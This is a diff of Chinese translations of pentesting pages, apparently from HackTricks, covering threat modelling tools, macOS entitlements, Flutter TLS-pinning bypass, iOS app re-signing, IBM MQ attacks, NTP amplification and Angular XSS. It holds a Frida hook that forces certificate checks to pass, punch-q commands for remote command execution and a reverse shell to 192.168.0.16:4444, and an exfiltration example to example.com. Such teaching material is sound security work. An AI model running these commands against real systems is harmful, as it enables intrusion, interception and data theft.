||||
5. 创建威胁(步骤1)
|
||||
|
||||
首先,您必须选择要添加威胁的层
|
||||
|
||||
@ -98,18 +98,18 @@ OWASP 的一个开源项目,Threat Dragon 是一个包含系统图示和规则
|
||||
|
||||
<figure><img src="../images/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
请记住,行为者威胁和过程威胁之间是有区别的。如果您要向行为者添加威胁,则只能选择“欺骗”和“否认”。然而在我们的示例中,我们将威胁添加到过程实体,因此我们将在威胁创建框中看到:
|
||||
请记住,参与者威胁和过程威胁之间是有区别的。如果您要向参与者添加威胁,则只能选择“欺骗”和“否认”。然而在我们的示例中,我们将威胁添加到过程实体,因此我们将在威胁创建框中看到:
|
||||
|
||||
<figure><img src="../images/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
6. 完成
|
||||
|
||||
现在您完成的模型应该看起来像这样。这就是如何使用 OWASP Threat Dragon 制作简单的威胁模型。
|
||||
现在您完成的模型应该看起来像这样。这就是如何使用OWASP Threat Dragon制作简单威胁模型。
|
||||
|
||||
<figure><img src="../images/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
|
||||
|
||||
这是微软提供的一个免费工具,帮助在软件项目的设计阶段发现威胁。它使用 STRIDE 方法,特别适合在微软技术栈上开发的人员。
|
||||
这是微软提供的免费工具,帮助在软件项目的设计阶段发现威胁。它使用STRIDE方法,特别适合在微软技术栈上开发的人员。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -13,7 +13,7 @@
|
||||
|
||||
### **`com.apple.rootless.install`**
|
||||
|
||||
权限 **`com.apple.rootless.install`** 允许 **绕过 SIP**。查看[此处获取更多信息](macos-sip.md#com.apple.rootless.install)。
|
||||
权限 **`com.apple.rootless.install`** 允许 **绕过 SIP**。查看 [此处获取更多信息](macos-sip.md#com.apple.rootless.install)。
|
||||
|
||||
### **`com.apple.system-task-ports` (之前称为 `task_for_pid-allow`)**
|
||||
|
||||
@ -123,18 +123,18 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
||||
|
||||
### `com.apple.security.cs.allow-jit`
|
||||
|
||||
此权限允许通过将 `MAP_JIT` 标志传递给 `mmap()` 系统函数来**创建可写和可执行的内存**。查看[**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit)。
|
||||
此权限允许通过将 `MAP_JIT` 标志传递给 `mmap()` 系统函数来**创建可写和可执行的内存**。查看[**此处以获取更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit)。
|
||||
|
||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
||||
|
||||
此权限允许**覆盖或修补 C 代码**,使用已被长期弃用的**`NSCreateObjectFileImageFromMemory`**(这在根本上是不安全的),或使用**DVDPlayback**框架。查看[**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory)。
|
||||
此权限允许**覆盖或修补 C 代码**,使用长期弃用的**`NSCreateObjectFileImageFromMemory`**(这在根本上是不安全的),或使用**DVDPlayback**框架。查看[**此处以获取更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory)。
|
||||
|
||||
> [!CAUTION]
|
||||
> 包含此权限会使您的应用程序暴露于内存不安全代码语言中的常见漏洞。仔细考虑您的应用程序是否需要此例外。
|
||||
|
||||
### `com.apple.security.cs.disable-executable-page-protection`
|
||||
|
||||
此权限允许**修改其自身可执行文件**的部分内容以强制退出。查看[**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection)。
|
||||
此权限允许**修改其自身可执行文件**的部分内容以强制退出。查看[**此处以获取更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection)。
|
||||
|
||||
> [!CAUTION]
|
||||
> 禁用可执行内存保护权限是一种极端权限,它从您的应用程序中移除了基本的安全保护,使攻击者能够在不被检测的情况下重写您应用程序的可执行代码。如果可能,优先选择更窄的权限。
|
||||
@ -160,11 +160,11 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
||||
|
||||
### **`kTCCServicePostEvent`**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -12,9 +12,9 @@ Flutter是**谷歌的跨平台UI工具包**,允许开发者编写单一的Dart
|
||||
### 为什么在Flutter中拦截HTTPS很棘手
|
||||
* **SSL/TLS验证位于BoringSSL的两层下方**,因此Java SSL固定绕过不会触及它。
|
||||
* **BoringSSL在libflutter.so内部使用其*自己的* CA存储**;将你的Burp/ZAP CA导入Android的系统存储不会改变任何东西。
|
||||
* libflutter.so中的符号是**剥离和混淆的**,隐藏了证书验证功能,使动态工具无法访问。
|
||||
* libflutter.so中的符号是**剥离和混淆的**,隐藏了证书验证功能,使动态工具无法使用。
|
||||
|
||||
### 确定确切的Flutter栈
|
||||
### 确定确切的Flutter堆栈
|
||||
知道版本可以让你重建或模式匹配正确的二进制文件。
|
||||
|
||||
步骤 | 命令 / 文件 | 结果
|
||||
@ -57,7 +57,7 @@ onLeave: function (retval) { retval.replace(0x1); } // always 'true'
|
||||
onComplete: function () { console.log("scan done"); }
|
||||
});
|
||||
```
|
||||
请提供需要翻译的具体内容。
|
||||
请运行它:
|
||||
```bash
|
||||
frida -U -f com.example.app -l bypass.js
|
||||
```
|
||||
@ -73,4 +73,4 @@ Flutter 本身 **忽略设备代理设置**。最简单的选项:
|
||||
## 参考
|
||||
- [https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
使用 **entitlement `get_task_allow`** 签名的应用程序允许第三方应用程序运行一个名为 **`task_for_pid()`** 的函数,参数为初始应用程序的进程 ID,以便获取其任务端口(能够控制它并访问其内存)。
|
||||
|
||||
然而,这并不像简单地提取 IPA、用 entitlement 重新签名并将其刷回设备那么简单。这是因为 FairPlay 保护。当应用程序的签名更改时,DRM(数字版权管理)密钥会 **失效,应用程序将无法工作**。
|
||||
然而,这并不像简单地提取 IPA、使用该权限重新签名并将其刷回设备那么简单。这是因为 FairPlay 保护。当应用程序的签名更改时,DRM(数字版权管理)密钥会 **失效,应用程序将无法工作**。
|
||||
|
||||
在旧的越狱设备上,可以安装 IPA,**使用你喜欢的工具进行解密**(例如 Iridium 或 frida-ios-dump),然后将其提取回设备上。不过,如果可能,建议直接向客户端请求解密后的 IPA。
|
||||
|
||||
@ -18,20 +18,20 @@
|
||||
2. 在你的 macos 上安装并启动 [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12)
|
||||
3. 在你的 Mac 上打开 `Terminal`,并 cd 到 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`。稍后 IPA 将出现在此文件夹中。
|
||||
4. 你应该能看到你的 iOS 设备。双击它,然后点击顶部菜单栏中的 Add + → Apps。
|
||||
5. 点击 Add 后,Configurator 将从 Apple 下载 IPA,并尝试将其推送到你的设备。如果你之前遵循我的建议并已安装 IPA,将会出现提示要求你重新安装应用程序。
|
||||
5. 点击 Add 后,Configurator 将从 Apple 下载 IPA,并尝试将其推送到你的设备。如果你之前遵循我的建议并已安装 IPA,将会出现提示要求你重新安装该应用程序。
|
||||
6. IPA 应该下载到 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`,你可以从那里获取它。
|
||||
|
||||
查看 [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) 以获取有关此过程的更多详细信息。
|
||||
|
||||
### 解密应用程序
|
||||
|
||||
为了解密 IPA,我们将安装它。然而,如果你有一部旧的越狱 iPhone,可能其版本不被应用程序支持,因为通常应用程序只支持最新版本。
|
||||
为了解密 IPA,我们将安装它。然而,如果你有一部旧的越狱 iPhone,可能其版本不被该应用程序支持,因为通常应用程序只支持最新版本。
|
||||
|
||||
因此,为了安装它,只需解压 IPA:
|
||||
```bash
|
||||
unzip redacted.ipa -d unzipped
|
||||
```
|
||||
检查 `Info.plist` 以获取最低支持版本,如果您的设备低于该版本,请更改该值以使其受支持。
|
||||
检查 `Info.plist` 以获取最低支持版本,如果您的设备早于该版本,请更改该值以使其受支持。
|
||||
|
||||
将 IPA 压缩回去:
|
||||
```bash
|
||||
@ -75,13 +75,13 @@ ideviceinstaller -i resigned.ipa -w
|
||||
| 工具 | 要求 | 优势 | 限制 |
|
||||
|------|--------------|-----------|-------------|
|
||||
| **AltStore 2 / SideStore** | macOS/Windows/Linux 伴侣,每 7 天使用免费开发者配置文件重新签名 IPA | 通过 Wi-Fi 自动重新加载,支持到 iOS 17 | 需要在同一网络上的计算机,Apple 限制 3 个应用 |
|
||||
| **TrollStore 1/2** | 设备在 iOS 14 – 15.4.1 中易受 CoreTrust 漏洞影响 | *永久* 签名(无 7 天限制);安装后无需计算机 | 不支持 iOS 15.5+(漏洞已修复) |
|
||||
| **TrollStore 1/2** | 设备在 iOS 14 – 15.4.1 受 CoreTrust 漏洞影响 | *永久* 签名(无 7 天限制);安装后无需计算机 | 不支持 iOS 15.5+(漏洞已修复) |
|
||||
|
||||
对于当前 iOS 版本的常规渗透测试,Alt/Side-Store 通常是最实用的选择。
|
||||
|
||||
### Hooking / 动态插桩
|
||||
|
||||
一旦您的应用使用 `get_task_allow` **并且** 开发者模式开启,您可以像在越狱设备上一样进行 Hook:
|
||||
一旦您的应用使用 `get_task_allow` 签名 **并且** 开发者模式开启,您可以像在越狱设备上一样进行 Hook:
|
||||
```bash
|
||||
# Spawn & attach with objection
|
||||
objection -g "com.example.target" explore
|
||||
@ -93,7 +93,7 @@ frida -U -f com.example.target -l my_script.js --no-pause
|
||||
|
||||
### 使用 MobSF 进行自动化动态分析(无越狱)
|
||||
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) 可以使用相同的技术(`get_task_allow`)在真实设备上对开发签名的 IPA 进行插桩,并提供带有文件系统浏览器、流量捕获和 Frida 控制台的 Web UI【turn6view0†L2-L3】。最快的方法是通过 Docker 运行 MobSF,然后通过 USB 连接你的 iPhone:
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) 可以使用相同的技术 (`get_task_allow`) 在真实设备上对开发签名的 IPA 进行插桩,并提供带有文件系统浏览器、流量捕获和 Frida 控制台的 Web UI【】。最快的方法是通过 Docker 运行 MobSF,然后通过 USB 连接你的 iPhone:
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf:latest
|
||||
docker run -p 8000:8000 --privileged \
|
||||
|
@ -24,10 +24,10 @@ IBM 提供了大量技术文档,详见 [https://www.ibm.com/docs/en/ibm-mq](ht
|
||||
|
||||
1. 在 [https://login.ibm.com/](https://login.ibm.com/) 上创建一个帐户(IBMid)。
|
||||
2. 从 [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-\*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) 下载 IBM MQ 库。对于 Linux x86_64,它是 **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**。
|
||||
3. 解压缩(`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`)。
|
||||
3. 解压缩 (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`)。
|
||||
4. 运行 `sudo ./mqlicense.sh` 接受许可条款。
|
||||
|
||||
> 如果您使用的是 Kali Linux,请修改文件 `mqlicense.sh`:删除/注释以下行(第 105-110 行之间):
|
||||
> 如果您使用的是 Kali Linux,请修改文件 `mqlicense.sh`:删除/注释以下行(在第 105-110 行之间):
|
||||
>
|
||||
> ```bash
|
||||
> if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
|
||||
@ -56,7 +56,7 @@ sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_
|
||||
|
||||
#### 不使用 Docker
|
||||
|
||||
克隆项目 [**punch-q**](https://github.com/sensepost/punch-q),然后按照自述文件进行安装(`pip install -r requirements.txt && python3 setup.py install`)。
|
||||
克隆项目 [**punch-q**](https://github.com/sensepost/punch-q),然后按照 readme 进行安装(`pip install -r requirements.txt && python3 setup.py install`)。
|
||||
|
||||
之后,可以使用 `punch-q` 命令。
|
||||
|
||||
@ -73,7 +73,7 @@ Queue Manager name: MYQUEUEMGR
|
||||
```
|
||||
### Channels
|
||||
|
||||
**punch-q** 正在使用一个内部(可修改的)单词列表来查找现有的通道。用法示例:
|
||||
**punch-q** 使用一个内部(可修改的)词汇表来查找现有的通道。使用示例:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
|
||||
"DEV.ADMIN.SVRCONN" exists and was authorised.
|
||||
@ -84,7 +84,7 @@ Queue Manager name: MYQUEUEMGR
|
||||
|
||||
一旦我们获得一个通道名称(这里是:`DEV.ADMIN.SVRCONN`),我们就可以枚举所有其他通道。
|
||||
|
||||
枚举基本上可以使用这个代码片段 `code/examples/dis_channels.py` 来完成,来自 **pymqi**:
|
||||
枚举基本上可以使用 **pymqi** 中的这个代码片段 `code/examples/dis_channels.py` 来完成:
|
||||
```python
|
||||
import logging
|
||||
import pymqi
|
||||
@ -183,8 +183,8 @@ Showing queues with prefix: "*"...
|
||||
|
||||
### 代码执行
|
||||
|
||||
> 在继续之前的一些细节:IBM MQ 可以通过多种方式控制:MQSC、PCF、控制命令。可以在 [IBM MQ 文档](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison) 中找到一些一般列表。
|
||||
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_可编程命令格式_**) 是我们关注的与实例远程交互的方式。**punch-q** 和进一步的 **pymqi** 基于 PCF 交互。
|
||||
> 在继续之前的一些细节:IBM MQ 可以通过多种方式进行控制:MQSC、PCF、控制命令。可以在 [IBM MQ 文档](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison) 中找到一些一般列表。
|
||||
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_可编程命令格式_**) 是我们专注于与实例远程交互的内容。**punch-q** 和进一步的 **pymqi** 是基于 PCF 交互的。
|
||||
>
|
||||
> 您可以找到 PCF 命令的列表:
|
||||
>
|
||||
@ -195,7 +195,7 @@ Showing queues with prefix: "*"...
|
||||
>
|
||||
> 文档中还有该命令的警告:_"注意:此命令允许用户以 mqm 权限运行任意命令。如果被授予使用此命令的权限,恶意或粗心的用户可能会定义一个服务,从而损害您的系统或数据,例如,删除重要文件。"_
|
||||
>
|
||||
> _注意:始终根据 IBM MQ 文档(管理参考),在 `/admin/action/qmgr/{qmgrName}/mqsc` 处还有一个 HTTP 端点,用于运行服务创建的等效 MQSC 命令(`DEFINE SERVICE`)。这一方面在这里尚未涵盖。_
|
||||
> _注意:始终根据 IBM MQ 文档(管理参考),在 `/admin/action/qmgr/{qmgrName}/mqsc` 处还有一个 HTTP 端点,用于运行服务创建的等效 MQSC 命令(`DEFINE SERVICE`)。这一方面在这里尚未覆盖。_
|
||||
|
||||
使用 PCF 进行远程程序执行的服务创建/删除可以通过 **punch-q** 完成:
|
||||
|
||||
@ -203,13 +203,13 @@ Showing queues with prefix: "*"...
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
|
||||
```
|
||||
> 在IBM MQ的日志中,您可以看到命令已成功执行:
|
||||
> 在 IBM MQ 的日志中,您可以看到命令已成功执行:
|
||||
>
|
||||
> ```bash
|
||||
> 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
|
||||
> ```
|
||||
>
|
||||
> 您还可以枚举机器上现有的程序(这里`/bin/doesnotexist` ... 不存在):
|
||||
|
||||
您还可以枚举机器上现有的程序(这里 `/bin/doesnotexist` ... 不存在):
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
|
||||
s "whatever"
|
||||
@ -235,7 +235,7 @@ Done
|
||||
|
||||
_当然,您可以使用 `execute` 命令构建自定义的有效载荷。_
|
||||
|
||||
对于 bash:
|
||||
对于 bash:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
||||
```
|
||||
@ -316,7 +316,7 @@ sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:
|
||||
```
|
||||
默认情况下,身份验证已启用,用户名为 `admin`,密码为 `passw0rd`(环境变量 `MQ_ADMIN_PASSWORD`)。在这里,队列管理器名称已设置为 `MYQUEUEMGR`(变量 `MQ_QMGR_NAME`)。
|
||||
|
||||
您应该已启动并运行 IBM MQ,并且其端口已暴露:
|
||||
您应该已经启动并运行 IBM MQ,并且其端口已暴露:
|
||||
```bash
|
||||
❯ sudo docker ps
|
||||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||
@ -330,4 +330,4 @@ CONTAINER ID IMAGE COMMAND CRE
|
||||
- [MQ 跳跃 - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
|
||||
- [IBM MQ 文档](https://www.ibm.com/docs/en/ibm-mq)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -9,9 +9,9 @@
|
||||
### 摘要与安全提示
|
||||
|
||||
- **目的**:在网络上同步设备时钟。
|
||||
- **重要性**:对安全、日志记录、加密协议和分布式系统至关重要。
|
||||
- **重要性**:对安全性、日志记录、加密协议和分布式系统至关重要。
|
||||
- **安全措施**:
|
||||
- 使用经过验证的 NTP 或 NTS(网络时间安全)源并进行身份验证。
|
||||
- 使用经过身份验证的可信 NTP 或 NTS(网络时间安全)源。
|
||||
- 限制可以查询/命令守护进程的用户(``restrict default noquery``、``kod`` 等)。
|
||||
- 禁用传统的 Mode-6/7 控制查询(``monlist``、``ntpdc``)或对其进行速率限制。
|
||||
- 监控同步漂移/闰秒状态以防篡改。
|
||||
@ -92,7 +92,7 @@ zgrab2 ntp --monlist --timeout 3 --output-file monlist.json -f "zmap_results.csv
|
||||
|
||||
### 1. NTP 放大 / 反射
|
||||
|
||||
传统的 Mode-7 ``monlist`` 查询返回多达 **600 个主机地址**,并且仍然存在于数千个互联网主机上。由于回复(428-468 字节/条目)是请求的 8 字节的 *~ 200×* 大,因此攻击者可以达到三位数的放大因子。缓解措施:
|
||||
传统的 Mode-7 ``monlist`` 查询返回多达 **600 个主机地址**,并且仍然存在于数千个互联网主机上。由于回复(每条目 428-468 字节)是 8 字节请求的 *~ 200×* 大,因此攻击者可以达到三位数的放大因子。缓解措施:
|
||||
|
||||
- 升级到 ntp 4.2.8p15+ 并 **添加** ``disable monitor``。
|
||||
- 在边缘对 UDP/123 进行速率限制或在 DDoS 设备上启用 *sessions-required*。
|
||||
@ -102,11 +102,11 @@ zgrab2 ntp --monlist --timeout 3 --output-file monlist.json -f "zmap_results.csv
|
||||
|
||||
### 2. 时间偏移 / 延迟攻击 (Khronos / Chronos 研究)
|
||||
|
||||
即使有身份验证,路径上的攻击者也可以通过丢弃/延迟数据包静默地 **移动客户端时钟**。IETF **Khronos(前称 Chronos)草案** 提议在后台查询多样化的服务器并对结果进行合理性检查,以检测偏移 > 𝚡 毫秒。现代 chrony (4.4+) 已经实现了类似的合理性过滤器 (``maxdistance`` / ``maxjitter``)。
|
||||
即使有身份验证,路径上的攻击者也可以通过丢弃/延迟数据包静默地 **移动客户端时钟**。IETF **Khronos(前身为 Chronos)草案** 提议在后台查询多样化的服务器并对结果进行合理性检查,以检测偏移 > 𝚡 毫秒。现代 chrony (4.4+) 已经实现了类似的合理性过滤器 (``maxdistance`` / ``maxjitter``)。
|
||||
|
||||
### 3. NTS 滥用与 4460/tcp 暴露
|
||||
|
||||
NTS 将重型加密移至单独的 **TLS 1.3 通道在 4460/tcp** (``ntske/1``)。不良实现(参见 CVE-2023-33192)在解析 cookies 时崩溃或允许弱密码。渗透测试人员应:
|
||||
NTS 将重型加密移动到单独的 **TLS 1.3 通道在 4460/tcp** (``ntske/1``)。不良实现(参见 CVE-2023-33192)在解析 cookies 时崩溃或允许弱密码。渗透测试人员应:
|
||||
```bash
|
||||
# TLS reconnaissance
|
||||
nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
|
||||
@ -127,7 +127,7 @@ openssl s_client -connect <IP>:4460 -alpn ntske/1 -tls1_3 -ign_eof
|
||||
4. 考虑 **leap-smear** 以避免闰秒中断,但确保 *所有* 下游客户端使用相同的涂抹窗口。
|
||||
5. 保持轮询 ≤24 小时,以免错过闰秒标志。
|
||||
|
||||
请参阅RFC 8633以获取全面的检查清单。
|
||||
有关全面检查清单,请参见RFC 8633。
|
||||
|
||||
---
|
||||
## Shodan / Censys Dorks
|
||||
@ -169,7 +169,7 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
|
||||
---
|
||||
## 参考文献
|
||||
|
||||
- RFC 8915 – *网络时间协议的网络时间安全* (port 4460)
|
||||
- RFC 8915 – *网络时间协议的网络时间安全* (端口 4460)
|
||||
- RFC 8633 – *网络时间协议 BCP*
|
||||
- Cloudflare DDoS 报告 2024 Q4 (5.6 Tbps)
|
||||
- Cloudflare *NTP 放大攻击* 文章
|
||||
@ -179,4 +179,4 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
|
||||
- Khronos/Chronos 草案 (时间偏移缓解)
|
||||
- chronyc 手册/远程监控示例
|
||||
- zgrab2 ntp 模块文档
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,18 +1,18 @@
|
||||
# Angular
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## The Checklist
|
||||
|
||||
Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).
|
||||
|
||||
* [ ] Angular被视为一个客户端框架,不期望提供服务器端保护
|
||||
* [ ] Angular被认为是一个客户端框架,不期望提供服务器端保护
|
||||
* [ ] 项目配置中禁用了脚本的源映射
|
||||
* [ ] 不可信的用户输入在用于模板之前始终被插值或清理
|
||||
* [ ] 用户无法控制服务器端或客户端模板
|
||||
* [ ] 不可信的用户输入在被应用程序信任之前,使用适当的安全上下文进行清理
|
||||
* [ ] `BypassSecurity*` 方法不与不可信输入一起使用
|
||||
* [ ] 不可信的用户输入不传递给Angular类,如 `ElementRef`、`Renderer2` 和 `Document`,或其他JQuery/DOM接收器
|
||||
* [ ] 不使用不可信输入的`BypassSecurity*`方法
|
||||
* [ ] 不可信的用户输入不会传递给Angular类,如`ElementRef`、`Renderer2`和`Document`,或其他JQuery/DOM接收器
|
||||
|
||||
## What is Angular
|
||||
|
||||
@ -45,13 +45,13 @@ my-workspace/
|
||||
|
||||
Angular NgModules 声明一个编译上下文,用于一组专用于应用程序域、工作流或紧密相关功能的组件。每个 Angular 应用程序都有一个根模块,通常命名为 `AppModule`,它提供启动机制以启动应用程序。一个应用程序通常包含多个功能模块。`AppModule` 在 `app.module.ts` 文件中定义。
|
||||
|
||||
Angular `Router` NgModule 提供一个服务,让您可以在应用程序的不同状态和视图层次结构之间定义导航路径。`RouterModule` 在 `app-routing.module.ts` 文件中定义。
|
||||
Angular `Router` NgModule 提供了一项服务,让您可以定义应用程序中不同状态和视图层次结构之间的导航路径。`RouterModule` 在 `app-routing.module.ts` 文件中定义。
|
||||
|
||||
对于不与特定视图相关联且希望在组件之间共享的数据或逻辑,您可以创建一个服务类。服务类定义前面会有 `@Injectable()` 装饰器。该装饰器提供元数据,允许其他提供者作为依赖项注入到您的类中。依赖注入 (DI) 使您能够保持组件类的精简和高效。它们不会从服务器获取数据、验证用户输入或直接记录到控制台;它们将此类任务委托给服务。
|
||||
|
||||
## Sourcemap 配置
|
||||
|
||||
Angular 框架通过遵循 `tsconfig.json` 选项将 TypeScript 文件转换为 JavaScript 代码,然后使用 `angular.json` 配置构建项目。查看 `angular.json` 文件,我们观察到一个选项可以启用或禁用 sourcemap。根据 Angular 文档,默认配置为脚本启用 sourcemap 文件,并且默认情况下不隐藏:
|
||||
Angular 框架通过遵循 `tsconfig.json` 选项将 TypeScript 文件转换为 JavaScript 代码,然后使用 `angular.json` 配置构建项目。查看 `angular.json` 文件时,我们观察到一个选项可以启用或禁用 sourcemap。根据 Angular 文档,默认配置为脚本启用了 sourcemap 文件,并且默认情况下不隐藏:
|
||||
```json
|
||||
"sourceMap": {
|
||||
"scripts": true,
|
||||
@ -62,7 +62,7 @@ Angular 框架通过遵循 `tsconfig.json` 选项将 TypeScript 文件转换为
|
||||
```
|
||||
一般来说,sourcemap 文件用于调试目的,因为它们将生成的文件映射到其原始文件。因此,不建议在生产环境中使用它们。如果启用了 sourcemaps,它可以提高可读性并通过复制 Angular 项目的原始状态来帮助文件分析。然而,如果它们被禁用,审查者仍然可以通过搜索反安全模式手动分析编译后的 JavaScript 文件。
|
||||
|
||||
此外,带有 Angular 项目的编译 JavaScript 文件可以在浏览器开发者工具 → Sources(或 Debugger 和 Sources)→ \[id].main.js 中找到。根据启用的选项,该文件末尾可能包含以下行 `//# sourceMappingURL=[id].main.js.map`,或者如果 **hidden** 选项设置为 **true**,则可能不包含。然而,如果 **scripts** 的 sourcemap 被禁用,测试变得更加复杂,我们无法获取该文件。此外,sourcemap 可以在项目构建期间启用,例如 `ng build --source-map`。
|
||||
此外,带有 Angular 项目的编译 JavaScript 文件可以在浏览器开发者工具 → Sources(或 Debugger 和 Sources)→ \[id].main.js 中找到。根据启用的选项,该文件末尾可能包含以下行 `//# sourceMappingURL=[id].main.js.map`,如果 **hidden** 选项设置为 **true**,则可能不包含此行。尽管如此,如果 **scripts** 的 sourcemap 被禁用,测试将变得更加复杂,我们无法获取该文件。此外,sourcemap 可以在项目构建期间启用,例如 `ng build --source-map`。
|
||||
|
||||
## 数据绑定
|
||||
|
||||
@ -81,7 +81,7 @@ Angular 框架通过遵循 `tsconfig.json` 选项将 TypeScript 文件转换为
|
||||
| 属性 | 元素属性、组件属性、指令属性 | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
|
||||
| 事件 | 元素事件、组件事件、指令事件 | \<button type="button" (click)="onSave()">Save |
|
||||
| 双向 | 事件和属性 | \<input \[(ngModel)]="name"> |
|
||||
| 属性 | 属性(例外) | \<button type="button" \[attr.aria-label]="help">help |
|
||||
| 属性 | 属性(例外情况) | \<button type="button" \[attr.aria-label]="help">help |
|
||||
| 类 | 类属性 | \<div \[class.special]="isSpecial">Special |
|
||||
| 样式 | 样式属性 | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
|
||||
|
||||
@ -119,7 +119,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
|
||||
* `STYLE` 在将 CSS 绑定到 `style` 属性时使用;
|
||||
* `URL` 用于 URL 属性,例如 `<a href>`;
|
||||
* `SCRIPT` 用于 JavaScript 代码;
|
||||
* `RESOURCE_URL` 作为加载并作为代码执行的 URL,例如在 `<script src>` 中。
|
||||
* `RESOURCE_URL` 作为以代码形式加载和执行的 URL,例如在 `<script src>` 中。
|
||||
|
||||
## 漏洞
|
||||
|
||||
@ -189,11 +189,11 @@ this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: u
|
||||
Request URL: GET example.com/exfil/a
|
||||
```
|
||||
|
||||
